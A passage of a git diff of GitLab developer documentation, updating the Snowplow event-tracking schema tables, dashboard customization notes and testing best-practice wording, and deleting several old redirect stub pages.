- value: project.valid? - ) + Gitlab::Tracking.event('Projects::CreateService', 'create_project', label: project.errors.full_messages.to_sentence, + property: project.valid?.to_s, project: project, user: current_user, namespace: namespace) end end ``` @@ -379,7 +383,7 @@ Snowplow Micro is a Docker-based solution for testing frontend and backend event - Read [Introducing Snowplow Micro](https://snowplowanalytics.com/blog/2019/07/17/introducing-snowplow-micro/) - Look at the [Snowplow Micro repository](https://github.com/snowplow-incubator/snowplow-micro) -- Watch our [installation guide recording](https://www.youtube.com/watch?v=OX46fo_A0Ag) +- Watch our <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [installation guide recording](https://www.youtube.com/watch?v=OX46fo_A0Ag) 1. Ensure Docker is installed and running. @@ -478,146 +482,152 @@ For GitLab.com, we're setting up a [QA and Testing environment](https://gitlab.c ## Snowplow Schemas -### [gitlab_standard](https://gitlab.com/gitlab-org/iglu/-/blob/master/public/schemas/com.gitlab/gitlab_standard/jsonschema/1-0-0) Schema +### `gitlab_standard` -| Field Name | Required | Type | Description | -|--------------|---------------------|---------|--------------------------------| -| project_id | **{dotted-circle}** | integer | ID of the associated project | -| namespace_id | **{dotted-circle}** | integer | ID of the associated namespace | +We are currently working towards including the [`gitlab_standard` schema](https://gitlab.com/gitlab-org/iglu/-/blob/master/public/schemas/com.gitlab/gitlab_standard/jsonschema/) with every event. See [Standardize Snowplow Schema](https://gitlab.com/groups/gitlab-org/-/epics/5218) for details. + +The [`StandardContext`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/tracking/standard_context.rb) class represents this schema in the application. + +| Field Name | Required | Type | Description | +|----------------|---------------------|-----------------------|---------------------------------------------------------------------------------------------| +| `project_id` | **{dotted-circle}** | integer | | +| `namespace_id` | **{dotted-circle}** | integer | | +| `environment` | **{check-circle}** | string (max 32 chars) | Name of the source environment, such as `production` or `staging` | +| `source` | **{check-circle}** | string (max 32 chars) | Name of the source application, such as `gitlab-rails` or `gitlab-javascript` | ### Default Schema | Field Name | Required | Type | Description | |--------------------------|---------------------|-----------|----------------------------------------------------------------------------------------------------------------------------------| -| app_id | **{check-circle}** | string | Unique identifier for website / application | -| base_currency | **{dotted-circle}** | string | Reporting currency | -| br_colordepth | **{dotted-circle}** | integer | Browser color depth | -| br_cookies | **{dotted-circle}** | boolean | Does the browser permit cookies? | -| br_family | **{dotted-circle}** | string | Browser family | -| br_features_director | **{dotted-circle}** | boolean | Director plugin installed? | -| br_features_flash | **{dotted-circle}** | boolean | Flash plugin installed? | -| br_features_gears | **{dotted-circle}** | boolean | Google gears installed? | -| br_features_java | **{dotted-circle}** | boolean | Java plugin installed? | -| br_features_pdf | **{dotted-circle}** | boolean | Adobe PDF plugin installed? | -| br_features_quicktime | **{dotted-circle}** | boolean | Quicktime plugin installed? | -| br_features_realplayer | **{dotted-circle}** | boolean | Realplayer plugin installed? | -| br_features_silverlight | **{dotted-circle}** | boolean | Silverlight plugin installed? | -| br_features_windowsmedia | **{dotted-circle}** | boolean | Windows media plugin installed? | -| br_lang | **{dotted-circle}** | string | Language the browser is set to | -| br_name | **{dotted-circle}** | string | Browser name | -| br_renderengine | **{dotted-circle}** | string | Browser rendering engine | -| br_type | **{dotted-circle}** | string | Browser type | -| br_version | **{dotted-circle}** | string | Browser version | -| br_viewheight | **{dotted-circle}** | string | Browser viewport height | -| br_viewwidth | **{dotted-circle}** | string | Browser viewport width | -| collector_tstamp | **{dotted-circle}** | timestamp | Time stamp for the event recorded by the collector | -| contexts | **{dotted-circle}** | | | -| derived_contexts | **{dotted-circle}** | | Contexts derived in the Enrich process | -| derived_tstamp | **{dotted-circle}** | timestamp | Timestamp making allowance for innaccurate device clock | -| doc_charset | **{dotted-circle}** | string | Web page’s character encoding | -| doc_height | **{dotted-circle}** | string | Web page height | -| doc_width | **{dotted-circle}** | string | Web page width | -| domain_sessionid | **{dotted-circle}** | string | Unique identifier (UUID) for this visit of this user_id to this domain | -| domain_sessionidx | **{dotted-circle}** | integer | Index of number of visits that this user_id has made to this domain (The first visit is `1`) | -| domain_userid | **{dotted-circle}** | string | Unique identifier for a user, based on a first party cookie (so domain specific) | -| dvce_created_tstamp | **{dotted-circle}** | timestamp | Timestamp when event occurred, as recorded by client device | -| dvce_ismobile | **{dotted-circle}** | boolean | Indicates whether device is mobile | -| dvce_screenheight | **{dotted-circle}** | string | Screen / monitor resolution | -| dvce_screenwidth | **{dotted-circle}** | string | Screen / monitor resolution | -| dvce_sent_tstamp | **{dotted-circle}** | timestamp | Timestamp when event was sent by client device to collector | -| dvce_type | **{dotted-circle}** | string | Type of device | -| etl_tags | **{dotted-circle}** | string | JSON of tags for this ETL run | -| etl_tstamp | **{dotted-circle}** | timestamp | Timestamp event began ETL | -| event | **{dotted-circle}** | string | Event type | -| event_fingerprint | **{dotted-circle}** | string | Hash client-set event fields | -| event_format | **{dotted-circle}** | string | Format for event | -| event_id | **{dotted-circle}** | string | Event UUID | -| event_name | **{dotted-circle}** | string | Event name | -| event_vendor | **{dotted-circle}** | string | The company who developed the event model | -| event_version | **{dotted-circle}** | string | Version of event schema | -| geo_city | **{dotted-circle}** | string | City of IP origin | -| geo_country | **{dotted-circle}** | string | Country of IP origin | -| geo_latitude | **{dotted-circle}** | string | An approximate latitude | -| geo_longitude | **{dotted-circle}** | string | An approximate longitude | -| geo_region | **{dotted-circle}** | string | Region of IP origin | -| geo_region_name | **{dotted-circle}** | string | Region of IP origin | -| geo_timezone | **{dotted-circle}** | string | Timezone of IP origin | -| geo_zipcode | **{dotted-circle}** | string | Zip (postal) code of IP origin | -| ip_domain | **{dotted-circle}** | string | Second level domain name associated with the visitor’s IP address | -| ip_isp | **{dotted-circle}** | string | Visitor’s ISP | -| ip_netspeed | **{dotted-circle}** | string | Visitor’s connection type | -| ip_organization | **{dotted-circle}** | string | Organization associated with the visitor’s IP address – defaults to ISP name if none is found | -| mkt_campaign | **{dotted-circle}** | string | The campaign ID | -| mkt_clickid | **{dotted-circle}** | string | The click ID | -| mkt_content | **{dotted-circle}** | string | The content or ID of the ad. | -| mkt_medium | **{dotted-circle}** | string | Type of traffic source | -| mkt_network | **{dotted-circle}** | string | The ad network to which the click ID belongs | -| mkt_source | **{dotted-circle}** | string | The company / website where the traffic came from | -| mkt_term | **{dotted-circle}** | string | Keywords associated with the referrer | -| name_tracker | **{dotted-circle}** | string | The tracker namespace | -| network_userid | **{dotted-circle}** | string | Unique identifier for a user, based on a cookie from the collector (so set at a network level and shouldn’t be set by a tracker) | -| os_family | **{dotted-circle}** | string | Operating system family | -| os_manufacturer | **{dotted-circle}** | string | Manufacturers of operating system | -| os_name | **{dotted-circle}** | string | Name of operating system | -| os_timezone | **{dotted-circle}** | string | Client operating system timezone | -| page_referrer | **{dotted-circle}** | string | Referrer URL | -| page_title | **{dotted-circle}** | string | Page title | -| page_url | **{dotted-circle}** | string | Page URL | -| page_urlfragment | **{dotted-circle}** | string | Fragment aka anchor | -| page_urlhost | **{dotted-circle}** | string | Host aka domain | -| page_urlpath | **{dotted-circle}** | string | Path to page | -| page_urlport | **{dotted-circle}** | integer | Port if specified, 80 if not | -| page_urlquery | **{dotted-circle}** | string | Query string | -| page_urlscheme | **{dotted-circle}** | string | Scheme (protocol name) | -| platform | **{dotted-circle}** | string | The platform the app runs on | -| pp_xoffset_max | **{dotted-circle}** | integer | Maximum page x offset seen in the last ping period | -| pp_xoffset_min | **{dotted-circle}** | integer | Minimum page x offset seen in the last ping period | -| pp_yoffset_max | **{dotted-circle}** | integer | Maximum page y offset seen in the last ping period | -| pp_yoffset_min | **{dotted-circle}** | integer | Minimum page y offset seen in the last ping period | -| refr_domain_userid | **{dotted-circle}** | string | The Snowplow domain_userid of the referring website | -| refr_dvce_tstamp | **{dotted-circle}** | timestamp | The time of attaching the domain_userid to the inbound link | -| refr_medium | **{dotted-circle}** | string | Type of referer | -| refr_source | **{dotted-circle}** | string | Name of referer if recognised | -| refr_term | **{dotted-circle}** | string | Keywords if source is a search engine | -| refr_urlfragment | **{dotted-circle}** | string | Referer URL fragment | -| refr_urlhost | **{dotted-circle}** | string | Referer host | -| refr_urlpath | **{dotted-circle}** | string | Referer page path | -| refr_urlport | **{dotted-circle}** | integer | Referer port | -| refr_urlquery | **{dotted-circle}** | string | Referer URL querystring | -| refr_urlscheme | **{dotted-circle}** | string | Referer scheme | -| se_action | **{dotted-circle}** | string | The action / event itself | -| se_category | **{dotted-circle}** | string | The category of event | -| se_label | **{dotted-circle}** | string | A label often used to refer to the ‘object’ the action is performed on | -| se_property | **{dotted-circle}** | string | A property associated with either the action or the object | -| se_value | **{dotted-circle}** | decimal | A value associated with the user action | -| ti_category | **{dotted-circle}** | string | Item category | -| ti_currency | **{dotted-circle}** | string | Currency | -| ti_name | **{dotted-circle}** | string | Item name | -| ti_orderid | **{dotted-circle}** | string | Order ID | -| ti_price | **{dotted-circle}** | decimal | Item price | -| ti_price_base | **{dotted-circle}** | decimal | Item price in base currency | -| ti_quantity | **{dotted-circle}** | integer | Item quantity | -| ti_sku | **{dotted-circle}** | string | Item SKU | -| tr_affiliation | **{dotted-circle}** | string | Transaction affiliation (such as channel) | -| tr_city | **{dotted-circle}** | string | Delivery address: city | -| tr_country | **{dotted-circle}** | string | Delivery address: country | -| tr_currency | **{dotted-circle}** | string | Transaction Currency | -| tr_orderid | **{dotted-circle}** | string | Order ID | -| tr_shipping | **{dotted-circle}** | decimal | Delivery cost charged | -| tr_shipping_base | **{dotted-circle}** | decimal | Shipping cost in base currency | -| tr_state | **{dotted-circle}** | string | Delivery address: state | -| tr_tax | **{dotted-circle}** | decimal | Transaction tax value (such as amount of VAT included) | -| tr_tax_base | **{dotted-circle}** | decimal | Tax applied in base currency | -| tr_total | **{dotted-circle}** | decimal | Transaction total value | -| tr_total_base | **{dotted-circle}** | decimal | Total amount of transaction in base currency | -| true_tstamp | **{dotted-circle}** | timestamp | User-set exact timestamp | -| txn_id | **{dotted-circle}** | string | Transaction ID | -| unstruct_event | **{dotted-circle}** | JSON | The properties of the event | -| uploaded_at | **{dotted-circle}** | | | -| user_fingerprint | **{dotted-circle}** | integer | User identifier based on (hopefully unique) browser features | -| user_id | **{dotted-circle}** | string | Unique identifier for user, set by the business using setUserId | -| user_ipaddress | **{dotted-circle}** | string | IP address | -| useragent | **{dotted-circle}** | string | User agent (expressed as a browser string) | -| v_collector | **{dotted-circle}** | string | Collector version | -| v_etl | **{dotted-circle}** | string | ETL version | -| v_tracker | **{dotted-circle}** | string | Identifier for Snowplow tracker | +| `app_id` | **{check-circle}** | string | Unique identifier for website / application | +| `base_currency` | **{dotted-circle}** | string | Reporting currency | +| `br_colordepth` | **{dotted-circle}** | integer | Browser color depth | +| `br_cookies` | **{dotted-circle}** | boolean | Does the browser permit cookies? | +| `br_family` | **{dotted-circle}** | string | Browser family | +| `br_features_director` | **{dotted-circle}** | boolean | Director plugin installed? | +| `br_features_flash` | **{dotted-circle}** | boolean | Flash plugin installed? | +| `br_features_gears` | **{dotted-circle}** | boolean | Google gears installed? | +| `br_features_java` | **{dotted-circle}** | boolean | Java plugin installed? | +| `br_features_pdf` | **{dotted-circle}** | boolean | Adobe PDF plugin installed? | +| `br_features_quicktime` | **{dotted-circle}** | boolean | Quicktime plugin installed? | +| `br_features_realplayer` | **{dotted-circle}** | boolean | RealPlayer plugin installed? | +| `br_features_silverlight` | **{dotted-circle}** | boolean | Silverlight plugin installed? | +| `br_features_windowsmedia` | **{dotted-circle}** | boolean | Windows media plugin installed? | +| `br_lang` | **{dotted-circle}** | string | Language the browser is set to | +| `br_name` | **{dotted-circle}** | string | Browser name | +| `br_renderengine` | **{dotted-circle}** | string | Browser rendering engine | +| `br_type` | **{dotted-circle}** | string | Browser type | +| `br_version` | **{dotted-circle}** | string | Browser version | +| `br_viewheight` | **{dotted-circle}** | string | Browser viewport height | +| `br_viewwidth` | **{dotted-circle}** | string | Browser viewport width | +| `collector_tstamp` | **{dotted-circle}** | timestamp | Time stamp for the event recorded by the collector | +| `contexts` | **{dotted-circle}** | | | +| `derived_contexts` | **{dotted-circle}** | | Contexts derived in the Enrich process | +| `derived_tstamp` | **{dotted-circle}** | timestamp | Timestamp making allowance for inaccurate device clock | +| `doc_charset` | **{dotted-circle}** | string | Web page’s character encoding | +| `doc_height` | **{dotted-circle}** | string | Web page height | +| `doc_width` | **{dotted-circle}** | string | Web page width | +| `domain_sessionid` | **{dotted-circle}** | string | Unique identifier (UUID) for this visit of this user_id to this domain | +| `domain_sessionidx` | **{dotted-circle}** | integer | Index of number of visits that this user_id has made to this domain (The first visit is `1`) | +| `domain_userid` | **{dotted-circle}** | string | Unique identifier for a user, based on a first party cookie (so domain specific) | +| `dvce_created_tstamp` | **{dotted-circle}** | timestamp | Timestamp when event occurred, as recorded by client device | +| `dvce_ismobile` | **{dotted-circle}** | boolean | Indicates whether device is mobile | +| `dvce_screenheight` | **{dotted-circle}** | string | Screen / monitor resolution | +| `dvce_screenwidth` | **{dotted-circle}** | string | Screen / monitor resolution | +| `dvce_sent_tstamp` | **{dotted-circle}** | timestamp | Timestamp when event was sent by client device to collector | +| `dvce_type` | **{dotted-circle}** | string | Type of device | +| `etl_tags` | **{dotted-circle}** | string | JSON of tags for this ETL run | +| `etl_tstamp` | **{dotted-circle}** | timestamp | Timestamp event began ETL | +| `event` | **{dotted-circle}** | string | Event type | +| `event_fingerprint` | **{dotted-circle}** | string | Hash client-set event fields | +| `event_format` | **{dotted-circle}** | string | Format for event | +| `event_id` | **{dotted-circle}** | string | Event UUID | +| `event_name` | **{dotted-circle}** | string | Event name | +| `event_vendor` | **{dotted-circle}** | string | The company who developed the event model | +| `event_version` | **{dotted-circle}** | string | Version of event schema | +| `geo_city` | **{dotted-circle}** | string | City of IP origin | +| `geo_country` | **{dotted-circle}** | string | Country of IP origin | +| `geo_latitude` | **{dotted-circle}** | string | An approximate latitude | +| `geo_longitude` | **{dotted-circle}** | string | An approximate longitude | +| `geo_region` | **{dotted-circle}** | string | Region of IP origin | +| `geo_region_name` | **{dotted-circle}** | string | Region of IP origin | +| `geo_timezone` | **{dotted-circle}** | string | Timezone of IP origin | +| `geo_zipcode` | **{dotted-circle}** | string | Zip (postal) code of IP origin | +| `ip_domain` | **{dotted-circle}** | string | Second level domain name associated with the visitor’s IP address | +| `ip_isp` | **{dotted-circle}** | string | Visitor’s ISP | +| `ip_netspeed` | **{dotted-circle}** | string | Visitor’s connection type | +| `ip_organization` | **{dotted-circle}** | string | Organization associated with the visitor’s IP address – defaults to ISP name if none is found | +| `mkt_campaign` | **{dotted-circle}** | string | The campaign ID | +| `mkt_clickid` | **{dotted-circle}** | string | The click ID | +| `mkt_content` | **{dotted-circle}** | string | The content or ID of the ad. | +| `mkt_medium` | **{dotted-circle}** | string | Type of traffic source | +| `mkt_network` | **{dotted-circle}** | string | The ad network to which the click ID belongs | +| `mkt_source` | **{dotted-circle}** | string | The company / website where the traffic came from | +| `mkt_term` | **{dotted-circle}** | string | Keywords associated with the referrer | +| `name_tracker` | **{dotted-circle}** | string | The tracker namespace | +| `network_userid` | **{dotted-circle}** | string | Unique identifier for a user, based on a cookie from the collector (so set at a network level and shouldn’t be set by a tracker) | +| `os_family` | **{dotted-circle}** | string | Operating system family | +| `os_manufacturer` | **{dotted-circle}** | string | Manufacturers of operating system | +| `os_name` | **{dotted-circle}** | string | Name of operating system | +| `os_timezone` | **{dotted-circle}** | string | Client operating system timezone | +| `page_referrer` | **{dotted-circle}** | string | Referrer URL | +| `page_title` | **{dotted-circle}** | string | Page title | +| `page_url` | **{dotted-circle}** | string | Page URL | +| `page_urlfragment` | **{dotted-circle}** | string | Fragment aka anchor | +| `page_urlhost` | **{dotted-circle}** | string | Host aka domain | +| `page_urlpath` | **{dotted-circle}** | string | Path to page | +| `page_urlport` | **{dotted-circle}** | integer | Port if specified, 80 if not | +| `page_urlquery` | **{dotted-circle}** | string | Query string | +| `page_urlscheme` | **{dotted-circle}** | string | Scheme (protocol name) | +| `platform` | **{dotted-circle}** | string | The platform the app runs on | +| `pp_xoffset_max` | **{dotted-circle}** | integer | Maximum page x offset seen in the last ping period | +| `pp_xoffset_min` | **{dotted-circle}** | integer | Minimum page x offset seen in the last ping period | +| `pp_yoffset_max` | **{dotted-circle}** | integer | Maximum page y offset seen in the last ping period | +| `pp_yoffset_min` | **{dotted-circle}** | integer | Minimum page y offset seen in the last ping period | +| `refr_domain_userid` | **{dotted-circle}** | string | The Snowplow `domain_userid` of the referring website | +| `refr_dvce_tstamp` | **{dotted-circle}** | timestamp | The time of attaching the `domain_userid` to the inbound link | +| `refr_medium` | **{dotted-circle}** | string | Type of referer | +| `refr_source` | **{dotted-circle}** | string | Name of referer if recognised | +| `refr_term` | **{dotted-circle}** | string | Keywords if source is a search engine | +| `refr_urlfragment` | **{dotted-circle}** | string | Referer URL fragment | +| `refr_urlhost` | **{dotted-circle}** | string | Referer host | +| `refr_urlpath` | **{dotted-circle}** | string | Referer page path | +| `refr_urlport` | **{dotted-circle}** | integer | Referer port | +| `refr_urlquery` | **{dotted-circle}** | string | Referer URL query string | +| `refr_urlscheme` | **{dotted-circle}** | string | Referer scheme | +| `se_action` | **{dotted-circle}** | string | The action / event itself | +| `se_category` | **{dotted-circle}** | string | The category of event | +| `se_label` | **{dotted-circle}** | string | A label often used to refer to the ‘object’ the action is performed on | +| `se_property` | **{dotted-circle}** | string | A property associated with either the action or the object | +| `se_value` | **{dotted-circle}** | decimal | A value associated with the user action | +| `ti_category` | **{dotted-circle}** | string | Item category | +| `ti_currency` | **{dotted-circle}** | string | Currency | +| `ti_name` | **{dotted-circle}** | string | Item name | +| `ti_orderid` | **{dotted-circle}** | string | Order ID | +| `ti_price` | **{dotted-circle}** | decimal | Item price | +| `ti_price_base` | **{dotted-circle}** | decimal | Item price in base currency | +| `ti_quantity` | **{dotted-circle}** | integer | Item quantity | +| `ti_sku` | **{dotted-circle}** | string | Item SKU | +| `tr_affiliation` | **{dotted-circle}** | string | Transaction affiliation (such as channel) | +| `tr_city` | **{dotted-circle}** | string | Delivery address: city | +| `tr_country` | **{dotted-circle}** | string | Delivery address: country | +| `tr_currency` | **{dotted-circle}** | string | Transaction Currency | +| `tr_orderid` | **{dotted-circle}** | string | Order ID | +| `tr_shipping` | **{dotted-circle}** | decimal | Delivery cost charged | +| `tr_shipping_base` | **{dotted-circle}** | decimal | Shipping cost in base currency | +| `tr_state` | **{dotted-circle}** | string | Delivery address: state | +| `tr_tax` | **{dotted-circle}** | decimal | Transaction tax value (such as amount of VAT included) | +| `tr_tax_base` | **{dotted-circle}** | decimal | Tax applied in base currency | +| `tr_total` | **{dotted-circle}** | decimal | Transaction total value | +| `tr_total_base` | **{dotted-circle}** | decimal | Total amount of transaction in base currency | +| `true_tstamp` | **{dotted-circle}** | timestamp | User-set exact timestamp | +| `txn_id` | **{dotted-circle}** | string | Transaction ID | +| `unstruct_event` | **{dotted-circle}** | JSON | The properties of the event | +| `uploaded_at` | **{dotted-circle}** | | | +| `user_fingerprint` | **{dotted-circle}** | integer | User identifier based on (hopefully unique) browser features | +| `user_id` | **{dotted-circle}** | string | Unique identifier for user, set by the business using setUserId | +| `user_ipaddress` | **{dotted-circle}** | string | IP address | +| `useragent` | **{dotted-circle}** | string | User agent (expressed as a browser string) | +| `v_collector` | **{dotted-circle}** | string | Collector version | +| `v_etl` | **{dotted-circle}** | string | ETL version | +| `v_tracker` | **{dotted-circle}** | string | Identifier for Snowplow tracker | diff --git a/doc/development/stage_group_dashboards.md b/doc/development/stage_group_dashboards.md index 453d71411c3..e75237869ba 100644 --- a/doc/development/stage_group_dashboards.md +++ b/doc/development/stage_group_dashboards.md @@ -61,7 +61,7 @@ Although most of the metrics displayed in the panels are self-explanatory in the To inspect the raw data of the panel for further calculation, click on the Inspect button from the dropdown menu of a panel. Queries, raw data, and panel JSON structure are available. Read more at [Grafana panel inspection](https://grafana.com/docs/grafana/latest/panels/inspect-panel/). -All the dashboards are powered by [Grafana](https://grafana.com/), a frontend for displaying metrics. Grafana consumes the data returned from queries to backend Prometheus data source, then presents them under different visualizations. The stage group dashboards are built to serve the most common use cases with a limited set of filters, and pre-built queries. Grafana provides a way to explore and visualize the metrics data with [Grafana Explore](https://grafana.com/docs/grafana/latest/explore/). This would require some knowledge about [Prometheus Promql query language](https://prometheus.io/docs/prometheus/latest/querying/basics/). +All the dashboards are powered by [Grafana](https://grafana.com/), a frontend for displaying metrics. Grafana consumes the data returned from queries to backend Prometheus data source, then presents them under different visualizations. The stage group dashboards are built to serve the most common use cases with a limited set of filters, and pre-built queries. Grafana provides a way to explore and visualize the metrics data with [Grafana Explore](https://grafana.com/docs/grafana/latest/explore/). This would require some knowledge about [Prometheus PromQL query language](https://prometheus.io/docs/prometheus/latest/querying/basics/). ## How to debug with the dashboards @@ -83,7 +83,7 @@ All the dashboards are powered by [Grafana](https://grafana.com/), a frontend fo ## How to customize the dashboard -All Grafana dashboards at GitLab are generated from the [Jsonnet files](https://github.com/grafana/grafonnet-lib) stored in [the runbook project](https://gitlab.com/gitlab-com/runbooks/-/tree/master/dashboards). Particularly, the stage group dashboards definitions are stored in [/dashboards/stage-groups](https://gitlab.com/gitlab-com/runbooks/-/tree/master/dashboards/stage-groups) subfolder in the Runbook. By convention, each group has a corresponding jsonnet file. The dashboards are synced with GitLab [stage group data](https://gitlab.com/gitlab-com/www-gitlab-com/-/raw/master/data/stages.yml) every month. Expansion and customization are one of the key principles used when we designed this system. To customize your group's dashboard, you need to edit the corresponding file and follow the [Runbook workflow](https://gitlab.com/gitlab-com/runbooks/-/tree/master/dashboards#dashboard-source). The dashboard is updated after the MR is merged. Looking at an autogenerated file, for example, [`product_planning.dashboard.jsonnet`](https://gitlab.com/gitlab-com/runbooks/-/blob/master/dashboards/stage-groups/product_planning.dashboard.jsonnet): +All Grafana dashboards at GitLab are generated from the [Jsonnet files](https://github.com/grafana/grafonnet-lib) stored in [the runbook project](https://gitlab.com/gitlab-com/runbooks/-/tree/master/dashboards). Particularly, the stage group dashboards definitions are stored in [/dashboards/stage-groups](https://gitlab.com/gitlab-com/runbooks/-/tree/master/dashboards/stage-groups) subfolder in the Runbook. By convention, each group has a corresponding Jsonnet file. The dashboards are synced with GitLab [stage group data](https://gitlab.com/gitlab-com/www-gitlab-com/-/raw/master/data/stages.yml) every month. Expansion and customization are one of the key principles used when we designed this system. To customize your group's dashboard, you need to edit the corresponding file and follow the [Runbook workflow](https://gitlab.com/gitlab-com/runbooks/-/tree/master/dashboards#dashboard-source). The dashboard is updated after the MR is merged. Looking at an autogenerated file, for example, [`product_planning.dashboard.jsonnet`](https://gitlab.com/gitlab-com/runbooks/-/blob/master/dashboards/stage-groups/product_planning.dashboard.jsonnet): ```jsonnet // This file is autogenerated using scripts/update_stage_groups_dashboards.rb @@ -145,4 +145,8 @@ stageGroupDashboards.dashboard('source_code')  +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +If you want to see the workflow in action, we've recorded a pairing session on customizing a dashboard, +available on [GitLab Unfiltered](https://youtu.be/shEd_eiUjdI). + For deeper customization and more complicated metrics, visit the [Grafonnet lib](https://github.com/grafana/grafonnet-lib) project and the [GitLab Prometheus Metrics](../administration/monitoring/prometheus/gitlab_metrics.md#gitlab-prometheus-metrics) documentation. diff --git a/doc/development/telemetry/event_dictionary.md b/doc/development/telemetry/event_dictionary.md deleted file mode 100644 index b3b3b0b4fdd..00000000000 --- a/doc/development/telemetry/event_dictionary.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-guide/' ---- - -This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/telemetry/index.md b/doc/development/telemetry/index.md deleted file mode 100644 index b3b3b0b4fdd..00000000000 --- a/doc/development/telemetry/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-guide/' ---- - -This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/telemetry/snowplow.md b/doc/development/telemetry/snowplow.md deleted file mode 100644 index bb056ffddfe..00000000000 --- a/doc/development/telemetry/snowplow.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../snowplow.md' ---- - -This document was moved to [another location](../snowplow.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/telemetry/usage_ping.md b/doc/development/telemetry/usage_ping.md deleted file mode 100644 index 5fbdb508bb1..00000000000 --- a/doc/development/telemetry/usage_ping.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../usage_ping.md' ---- - -This document was moved to [another location](../usage_ping.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/testing.md b/doc/development/testing.md deleted file mode 100644 index a0130bfb4ac..00000000000 --- a/doc/development/testing.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'testing_guide/index.md' ---- - -This document was moved to [another location](testing_guide/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/testing_guide/best_practices.md b/doc/development/testing_guide/best_practices.md index ac5f1a47f9b..79ff46ae352 100644 --- a/doc/development/testing_guide/best_practices.md +++ b/doc/development/testing_guide/best_practices.md @@ -13,13 +13,13 @@ description: "GitLab development guidelines - testing best practices." Testing at GitLab is a first class citizen, not an afterthought. It's important we consider the design of our tests as we do the design of our features. -When implementing a feature, we think about developing the right capabilities the right way, which helps us +When implementing a feature, we think about developing the right capabilities the right way. This helps us narrow our scope to a manageable level. When implementing tests for a feature, we must think about developing -the right tests, but then cover _all_ the important ways the test may fail, which can quickly widen our scope to +the right tests, but then cover _all_ the important ways the test may fail. This can quickly widen our scope to a level that is difficult to manage. Test heuristics can help solve this problem. They concisely address many of the common ways bugs -manifest themselves within our code. When designing our tests, take time to review known test heuristics to inform +manifest themselves in our code. When designing our tests, take time to review known test heuristics to inform our test design. We can find some helpful heuristics documented in the Handbook in the [Test Engineering](https://about.gitlab.com/handbook/engineering/quality/test-engineering/#test-heuristics) section. @@ -90,7 +90,7 @@ Obviously we should reduce test dependencies, and avoiding capabilities also reduces the amount of set-up needed. `:js` is particularly important to avoid. This must only be used if the feature -test requires JavaScript reactivity in the browser, since using a headless +test requires JavaScript reactivity in the browser. Using a headless browser is much slower than parsing the HTML response from the app. #### Optimize factory usage @@ -108,8 +108,8 @@ To avoid creation, it is worth bearing in mind that: - `instance_double` and `spy` are faster than `FactoryBot.build(...)`. - `FactoryBot.build(...)` and `.build_stubbed` are faster than `.create`. -- Don't `create` an object when `build`, `build_stubbed`, `attributes_for`, - `spy`, or `instance_double` will do. Database persistence is slow! +- Don't `create` an object when you can use `build`, `build_stubbed`, `attributes_for`, + `spy`, or `instance_double`. Database persistence is slow! Use [Factory Doctor](https://test-prof.evilmartians.io/#/profilers/factory_doctor) to find cases where database persistence is not needed in a given test. @@ -171,14 +171,14 @@ RSpec.describe API::Search, factory_default: :keep do let_it_be(:namespace) { create_default(:namespace) } ``` -Then every project we create will use this `namespace`, without us having to pass +Then every project we create uses this `namespace`, without us having to pass it as `namespace: namespace`. In order to make it work along with `let_it_be`, `factory_default: :keep` -must be explicitly specified. That will keep the default factory for every example in a suite instead of +must be explicitly specified. That keeps the default factory for every example in a suite instead of recreating it for each example. Maybe we don't need to create 208 different projects - we can create one and reuse it. In addition, we can see that only about 1/3 of the -projects we create are ones we ask for (76/208), so there is benefit in setting +projects we create are ones we ask for (76/208). There is benefit in setting a default value for projects as well: ```ruby @@ -233,8 +233,8 @@ Finished in 2 minutes 19 seconds (files took 1 minute 4.42 seconds to load) ``` From this result, we can see the most expensive examples in our spec, giving us -a place to start. The fact that the most expensive examples here are in -shared examples means that any reductions are likely to have a larger impact as +a place to start. The most expensive examples here are in +shared examples; any reductions generally have a larger impact as they are called in multiple places. #### Avoid repeating expensive actions @@ -287,7 +287,7 @@ results are available, and not just the first failure. - Use `.method` to describe class methods and `#method` to describe instance methods. - Use `context` to test branching logic. -- Try to match the ordering of tests to the ordering within the class. +- Try to match the ordering of tests to the ordering in the class. - Try to follow the [Four-Phase Test](https://thoughtbot.com/blog/four-phase-test) pattern, using newlines to separate phases. - Use `Gitlab.config.gitlab.host` rather than hard coding `'localhost'` @@ -295,10 +295,10 @@ results are available, and not just the first failure. [Gotchas](../gotchas.md#do-not-assert-against-the-absolute-value-of-a-sequence-generated-attribute)). - Avoid using `expect_any_instance_of` or `allow_any_instance_of` (see [Gotchas](../gotchas.md#do-not-assert-against-the-absolute-value-of-a-sequence-generated-attribute)). -- Don't supply the `:each` argument to hooks since it's the default. +- Don't supply the `:each` argument to hooks because it's the default. - On `before` and `after` hooks, prefer it scoped to `:context` over `:all` - When using `evaluate_script("$('.js-foo').testSomething()")` (or `execute_script`) which acts on a given element, - use a Capybara matcher beforehand (e.g. `find('.js-foo')`) to ensure the element actually exists. + use a Capybara matcher beforehand (such as `find('.js-foo')`) to ensure the element actually exists. - Use `focus: true` to isolate parts of the specs you want to run. - Use 